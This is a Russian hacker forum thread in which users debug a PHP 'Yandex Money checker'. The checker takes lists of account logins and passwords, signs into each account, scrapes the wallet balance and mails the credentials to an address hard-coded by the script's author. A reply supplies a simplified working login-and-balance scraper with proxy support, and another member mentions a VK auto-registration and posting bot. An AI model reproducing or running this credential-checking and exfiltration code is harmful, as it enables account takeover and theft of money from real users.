Помогите подкоректировать скрипт ПХП

Discussion in 'PHP' started by 1kaktyc, 9 Jan 2011.

  1. 1kaktyc

    1kaktyc Member

    Joined:
    9 Sep 2009
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    вот есть скрипт проверки яд на наличие баланса но почему то пишет ошибка авторизации (то что отправляет логи на [email protected] не обращайте внимание =) )

    PHP:
    скрипт
    <?
    ######
    ## Yandex Money Checker by iLuib 
    ## ICQ: 499442
    ## 20.11.2010

    header('Content-type: text/html; charset=windows-1251');

    $cookie = dirname(__FILE__).'/cookie';
    $log_file = dirname(__FILE__).'/ya_money_logs.txt';
    $log_mail = '[email protected]';
    $log_temp = "{login};{pass} - {money}\r\n";


    if ( !$_POST or empty($_POST['accs']) or empty($_POST['razd']) ) {
        
        echo '
        <form action="" method="POST">
        <b>Акки:</b><br>
        <textarea name="accs" style="width: 100%; height: 50%;"></textarea><br><br>
        <i>Разделитель:</i> <input name="razd" value=";"><br>
        <input type="submit" value="Check">
        </form>
    <br><br>
    (c) 2010 Boss - YaSpam <br> <a href=http://zona-x.su>Хакерский софт - zona-x.su</a><br><a href=http://lab-sell.su>Продажа софт от Boss</a><br> ICQ: 499442
        ';
        die;
    }


    ## Проверяем и парсим
    $accs = $_POST['accs'];
    $razd = $_POST['razd'];
    $accs = explode("\r\n",$accs);

    foreach ( $accs as $acc ) {
        $e = explode($razd,$acc);
        if ( empty($e[0]) or empty($e[1]) ) continue;
        $accounts[] = array( 'login' => $e[0], 'pass' => $e[1] );
    }


    if ( count($accounts) <= 0 ) die('Нету акков! Проверьте поля и разделитель!');


    ## Авторизуемся

    for ( $i=0;$i<=$c=count($accounts)-1;$i++ ) {
    empty_cookie();
    $acc = $accounts[$i];
    echo $i.'/'.$c.' - ';


    $login = login($acc['login'],$acc['pass']);


        if ( $login === true ) {
            echo 'Авторизовались...';
        } elseif ( $login === false ) {
            echo 'Ошибка авторизации!<br>';
            continue;
        } elseif ( $login === '-101' ) {
            echo 'Капча!<br>';
            continue;
        }
        
        echo ' Чекаем...';
        $money = check_money();
        $log[] = str_replace('{money}',$money,str_replace('{pass}',$acc['pass'],str_replace('{login}',$acc['login'],$log_temp)));
        echo ' Баланс: '.$money.'<br>';

    }


    ## Формируем список
    $text_log = @implode("\r\n",$log);

    $f = fopen($log_file,'w+');
    $w = fwrite($f,$text_log);
    fclose($f);

    $mail = mail($log_mail, "Yandex Money Checher. ".date('d.m.Y H:i:s'), $text_log);




    ################################### FUNCTIONS



    function check_money () {

    $url = 'https://money.yandex.ru/';
    $code = get($url);
    //echo $code;

    preg_match('#<td nowrap style="font-size: 80%;"><strong>(.*)</strong></td>#Uis',$code,$money);

        if ( empty($money[1]) ) {
        $money = '0 или нет счета';
        } else {
        $money = $money[1];
        }

    return $money;
    }


    function login ($login,$pass) {
    if ( empty($login) or empty($pass) ) return false;

    $url = 'http://passport.yandex.ru/passport?mode=auth&msg=blogs&retpath='.mt_rand(0,990);
    $post = array(
    'login' => $login,
    'passwd' => $pass,
    'twoweeks' => 'yes',
    'timestamp' => time(),
    );

    $code = get($url,$post);
    preg_match('#Location: (.*)\n#Uis',$code,$location);

    if ( !empty($location[1]) ) {
        $code = get(trim($location[1]));

        preg_match('#Location: (.*)\n#Uis',$code,$location);

        $location[1] = @str_replace('http://pass.yandex.ru/login?retpath=',null,$location[1]);
        $location[1] = @urldecode($location[1]);
        if ( empty($location[1]) ) return false;

        $code = get(trim($location[1]));
    }


    $code = mb_convert_encoding($code,'cp1251','utf-8');

        if ( preg_match('#Изменить персональные данные|Создание страницы#Ui',$code) ) {
            return true;
        } elseif ( preg_match('#<div class="l">Введите цифры с&nbsp;картинки слева:</div>#Ui',$code) ) {
            return '-101';
        } else {
            return false;
        }

    }

    function get ($url,$post=false,$headers=false) {
    global $cookie;

      $data = curl_init($url);
      if ($headers) curl_setopt($data, CURLOPT_HTTPHEADER, $headers);
      curl_setopt($data, CURLOPT_HEADER, 1);
      curl_setopt($data, CURLOPT_RETURNTRANSFER, 1);
      //curl_setopt($data, CURLOPT_FOLLOWLOCATION, 1);
      curl_setopt($data, CURLOPT_COOKIEFILE, $cookie);
      curl_setopt($data, CURLOPT_COOKIEJAR, $cookie);
      curl_setopt($data, CURLOPT_SSL_VERIFYPEER, false);
      curl_setopt($data, CURLOPT_SSL_VERIFYHOST, false);
      if ($post) {
      curl_setopt($data, CURLOPT_POST, 1);
      curl_setopt($data, CURLOPT_POSTFIELDS, $post);
      }
      $code = curl_exec($data);
      if ( !$code ) return false;

    //  $code = mb_convert_encoding($code,'cp1251','utf-8');
      return $code;

    }


    function empty_cookie () {
    global $cookie;

    $f = fopen($cookie,'w+');
    fwrite($f,null);
    fclose($f);

    return true;
    }



    ?>

     
  2. 1kaktyc

    1kaktyc Member

    Joined:
    9 Sep 2009
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    может у них в авторизации что-то изменилось ?
    или подскажите рабочий скрипт проверки яд на наличие баланса
     
  3. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    Вот, накидал побыстрому:
    PHP:
    <?php
      
    function get_url($url$ref ''$header ''$post ''$cookie ''$cookiefile ''$proxy ''$timeout ''$popitok 2) {
        
    $ch curl_init();
        
        
    curl_setopt($chCURLOPT_URL$url);
        
        if (
    $ref != '')
            
    curl_setopt($chCURLOPT_REFERER$ref);
        if (
    $header != '')
            
    curl_setopt($chCURLOPT_HEADER1);
        if (
    $post != '') {
            
    curl_setopt($chCURLOPT_POST1);
            
    curl_setopt($chCURLOPT_POSTFIELDS$post);
        }
        if (
    $cookie != '')
            
    curl_setopt($chCURLOPT_COOKIE$cookie);
        if (
    $cookiefile != '') {
              
    curl_setopt($chCURLOPT_COOKIEJAR$cookiefile);
              
    curl_setopt($chCURLOPT_COOKIEFILE$cookiefile);
        }
        if (
    $proxy != '')
            
    curl_setopt($chCURLOPT_PROXY$proxy);
        
    curl_setopt($chCURLOPT_SSL_VERIFYPEERFALSE); 
        
    curl_setopt($chCURLOPT_SSL_VERIFYHOST2);   
        
    curl_setopt($chCURLOPT_USERAGENT'Opera/9.60 (Windows NT 5.1; U; ru) Presto/2.1.1');
        
    curl_setopt($chCURLOPT_ENCODING"gzip");
        
    curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
        
    curl_setopt($chCURLOPT_HEADER1);
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
        if (
    $timeout != '')
            
    curl_setopt($chCURLOPT_TIMEOUT$timeout);
            
        
    $i 0;
        do {
            
    $i++;
            
    flush();
            
    $content curl_exec($ch);
        } while (
    $i $popitok && $content == '' || curl_errno($ch) != && $i $popitok);
        
        if (
    curl_errno($ch) != || $content == '') {
            echo 
    "<br><div style=\"border-style:solid; border-width:1px; width:750px; padding:10px; position:relative; border-color:#FF8000;\"><b><font color=\"#B30000\">Error CURL:</font></b> ".curl_error($ch)." | <b><font color=\"#B30000\">Error number:</font></b> ".curl_errno($ch)."<br> <b>Url: <a href='".$url."'> ".$url."</a></b></div><br><br>";
            
    curl_close($ch);
            return 
    false;
        } else {
            
    curl_close($ch);
            return 
    $content;
        }
    }
        
    $post "login=login&passwd=pass";
        
    get_url('https://passport.yandex.ru/passport?mode=auth''http://www.yandex.ru/?ncrnd=5314256082'''$post''$_SERVER['DOCUMENT_ROOT']."/Yandexcookies.txt");
        
    $content get_url('http://money.yandex.ru/''http://www.yandex.ru/?ncrnd=5314256082'''''''$_SERVER['DOCUMENT_ROOT']."/Yandexcookies.txt");
        
    $balanceCount = array();
        
    preg_match_all('#<td nowrap style="font-size: 80%;"><strong>(.*)</strong></td>#'$content$balanceArr);
        
    print_r($balanceArr[1][0]);
    ?>
     
    #3 miako, 11 Jan 2011
    Last edited: 11 Jan 2011
    2 people like this.
  4. 1kaktyc

    1kaktyc Member

    Joined:
    9 Sep 2009
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    спасибо огромное что помог вот только у меня неработает пишет

    Error CURL: Failed to connect to 93.158.134.24: Operation not permitted | Error number: 7
    Url: https://passport.yandex.ru/passport?mode=auth



    Error CURL: Failed to connect to 213.180.204.32: Operation not permitted | Error number: 7
    Url: http://money.yandex.ru/

    может я чет нето делаю ?
     
  5. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    The error you are receiving is most likely do to a firewall blocking all outbound connections. Many shared hosting providers are blocking outgoing port 80 connections to try to stop rampant errors in PHP scripts that allow remote includes to then be used as an attack vector against the server.

    Что-то блочит. Если пробуешь с локалхоста попробуй выруби фаервол.
     
  6. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    Можешь еще попробовать положить в .htaccess file:
    php allow_url_fopen on
     
  7. Romaxa55

    Romaxa55 Banned

    Joined:
    19 Oct 2005
    Messages:
    144
    Likes Received:
    30
    Reputations:
    4
    miako очинь хорошая функция по курлу, написал авторегер и постер для вк опираяст на нее.. благодарен
     
  8. 1kaktyc

    1kaktyc Member

    Joined:
    9 Sep 2009
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    Запускаю на локалхосте пустой экран.
    В чем трабла ?
     
    #8 1kaktyc, 14 Jan 2011
    Last edited: 14 Jan 2011
  9. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    Я надеюсь ты правильный логин\пасс вписал в $post? Если нужен чекер, берущий логи из файлов, то надо дописать немного. Ну еще echo $content можешь сделать
     
  10. 1kaktyc

    1kaktyc Member

    Joined:
    9 Sep 2009
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0

    если можешь допиши чтобы брал из файла или хоть чтобы список вставлять буду очень признателен!

    а если будет настроение и проксю прикрутить )))
     
  11. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    Ну, так не интересно, одно дело помочь, другое с 0 писать.
     
  12. 1kaktyc

    1kaktyc Member

    Joined:
    9 Sep 2009
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    miako спасибо тебе большое что откликнулся
    п.с. я в пхп полный ноль ))) вот в чем дело а чекер нужен ))
     
  13. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    Я конечно не советник, но лучше обратиться в раздел "работа", шансов будет побольше. Если конечно жаба не душит.